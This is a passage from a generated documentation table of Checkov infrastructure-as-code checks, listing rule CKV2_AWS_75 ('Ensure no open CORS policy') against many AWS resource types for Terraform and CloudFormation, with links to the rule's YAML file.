[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4648 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_usage_limit                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4649 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_workgroup                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4650 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_workgroup                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4651 | CKV2_AWS_75              | resource                         | aws_region_info                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4652 | CKV2_AWS_75              | resource                         | aws_region_info                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4653 | CKV2_AWS_75              | resource                         | aws_rekognition_collection                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4654 | CKV2_AWS_75              | resource                         | aws_rekognition_collection                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4655 | CKV2_AWS_75              | resource                         | aws_rekognition_project                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4656 | CKV2_AWS_75              | resource                         | aws_rekognition_project                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4657 | CKV2_AWS_75              | resource                         | aws_rekognition_stream_processor                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4658 | CKV2_AWS_75              | resource                         | aws_rekognition_stream_processor                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4659 | CKV2_AWS_75              | resource                         | aws_resiliencehub_resiliency_policy                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4660 | CKV2_AWS_75              | resource                         | aws_resiliencehub_resiliency_policy                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4661 | CKV2_AWS_75              | resource                         | aws_resourceexplorer2_index                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4662 | CKV2_AWS_75              | resource                         | aws_resourceexplorer2_index                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4663 | CKV2_AWS_75              | resource                         | aws_resourceexplorer2_view                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4664 | CKV2_AWS_75              | resource                         | aws_resourceexplorer2_view                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4665 | CKV2_AWS_75              | resource                         | aws_resourcegroups_group                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4666 | CKV2_AWS_75              | resource                         | aws_resourcegroups_group                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4667 | CKV2_AWS_75              | resource                         | aws_resourcegroups_resource                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4668 | CKV2_AWS_75              | resource                         | aws_resourcegroups_resource                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4669 | CKV2_AWS_75              | resource                         | aws_rolesanywhere_profile                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4670 | CKV2_AWS_75              | resource                         | aws_rolesanywhere_profile                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4671 | CKV2_AWS_75              | resource                         | aws_rolesanywhere_trust_anchor                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4672 | CKV2_AWS_75              | resource                         | aws_rolesanywhere_trust_anchor                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4673 | CKV2_AWS_75              | resource                         | aws_root                                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4674 | CKV2_AWS_75              | resource                         | aws_root                                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4675 | CKV2_AWS_75              | resource                         | aws_root_access_key                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4676 | CKV2_AWS_75              | resource                         | aws_root_access_key                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4677 | CKV2_AWS_75              | resource                         | aws_route                                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4678 | CKV2_AWS_75              | resource                         | aws_route                                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4679 | CKV2_AWS_75              | resource                         | aws_route53_cidr_collection                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4680 | CKV2_AWS_75              | resource                         | aws_route53_cidr_collection                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4681 | CKV2_AWS_75              | resource                         | aws_route53_cidr_location                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4682 | CKV2_AWS_75              | resource                         | aws_route53_cidr_location                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4683 | CKV2_AWS_75              | resource                         | aws_route53_delegation_set                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4684 | CKV2_AWS_75              | resource                         | aws_route53_delegation_set                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4685 | CKV2_AWS_75              | resource                         | aws_route53_health_check                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4686 | CKV2_AWS_75              | resource                         | aws_route53_health_check                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4687 | CKV2_AWS_75              | resource                         | aws_route53_hosted_zone_dnssec                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4688 | CKV2_AWS_75              | resource                         | aws_route53_hosted_zone_dnssec                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4689 | CKV2_AWS_75              | resource                         | aws_route53_key_signing_key                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4690 | CKV2_AWS_75              | resource                         | aws_route53_key_signing_key                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4691 | CKV2_AWS_75              | resource                         | aws_route53_query_log                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4692 | CKV2_AWS_75              | resource                         | aws_route53_query_log                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4693 | CKV2_AWS_75              | resource                         | aws_route53_record                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4694 | CKV2_AWS_75              | resource                         | aws_route53_record                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4695 | CKV2_AWS_75              | resource                         | aws_route53_resolver_config                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4696 | CKV2_AWS_75              | resource                         | aws_route53_resolver_config                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4697 | CKV2_AWS_75              | resource                         | aws_route53_resolver_dnssec_config                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4698 | CKV2_AWS_75              | resource                         | aws_route53_resolver_dnssec_config                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4699 | CKV2_AWS_75              | resource                         | aws_route53_resolver_endpoint                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4700 | CKV2_AWS_75              | resource                         | aws_route53_resolver_endpoint                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4701 | CKV2_AWS_75              | resource                         | aws_route53_resolver_firewall_config                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4702 | CKV2_AWS_75              | resource                         | aws_route53_resolver_firewall_config                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4703 | CKV2_AWS_75              | resource                         | aws_route53_resolver_firewall_domain_list                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4704 | CKV2_AWS_75              | resource                         | aws_route53_resolver_firewall_domain_list                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4705 | CKV2_AWS_75              | resource                         | aws_route53_resolver_firewall_rule                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4706 | CKV2_AWS_75              | resource                         | aws_route53_resolver_firewall_rule                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4707 | CKV2_AWS_75              | resource                         | aws_route53_resolver_firewall_rule_group                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4708 | CKV2_AWS_75              | resource                         | aws_route53_resolver_firewall_rule_group                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4709 | CKV2_AWS_75              | resource                         | aws_route53_resolver_firewall_rule_group_association                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4710 | CKV2_AWS_75              | resource                         | aws_route53_resolver_firewall_rule_group_association                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4711 | CKV2_AWS_75              | resource                         | aws_route53_resolver_query_log_config                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4712 | CKV2_AWS_75              | resource                         | aws_route53_resolver_query_log_config                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4713 | CKV2_AWS_75              | resource                         | aws_route53_resolver_query_log_config_association                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4714 | CKV2_AWS_75              | resource                         | aws_route53_resolver_query_log_config_association                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4715 | CKV2_AWS_75              | resource                         | aws_route53_resolver_rule                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4716 | CKV2_AWS_75              | resource                         | aws_route53_resolver_rule                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4717 | CKV2_AWS_75              | resource                         | aws_route53_resolver_rule_association                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4718 | CKV2_AWS_75              | resource                         | aws_route53_resolver_rule_association                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4719 | CKV2_AWS_75              | resource                         | aws_route53_traffic_policy                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4720 | CKV2_AWS_75              | resource                         | aws_route53_traffic_policy                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4721 | CKV2_AWS_75              | resource                         | aws_route53_traffic_policy_instance                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4722 | CKV2_AWS_75              | resource                         | aws_route53_traffic_policy_instance                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4723 | CKV2_AWS_75              | resource                         | aws_route53_vpc_association_authorization                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4724 | CKV2_AWS_75              | resource                         | aws_route53_vpc_association_authorization                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4725 | CKV2_AWS_75              | resource                         | aws_route53_zone                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4726 | CKV2_AWS_75              | resource                         | aws_route53_zone                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4727 | CKV2_AWS_75              | resource                         | aws_route53_zone_association                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4728 | CKV2_AWS_75              | resource                         | aws_route53_zone_association                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4729 | CKV2_AWS_75              | resource                         | aws_route53domains_delegation_signer_record                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4730 | CKV2_AWS_75              | resource                         | aws_route53domains_delegation_signer_record                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4731 | CKV2_AWS_75              | resource                         | aws_route53domains_domain                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4732 | CKV2_AWS_75              | resource                         | aws_route53domains_domain                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4733 | CKV2_AWS_75              | resource                         | aws_route53domains_registered_domain                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4734 | CKV2_AWS_75              | resource                         | aws_route53domains_registered_domain                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4735 | CKV2_AWS_75              | resource                         | aws_route53profiles_association                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4736 | CKV2_AWS_75              | resource                         | aws_route53profiles_association                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4737 | CKV2_AWS_75              | resource                         | aws_route53profiles_profile                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4738 | CKV2_AWS_75              | resource                         | aws_route53profiles_profile                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4739 | CKV2_AWS_75              | resource                         | aws_route53profiles_resource_association                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4740 | CKV2_AWS_75              | resource                         | aws_route53profiles_resource_association                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 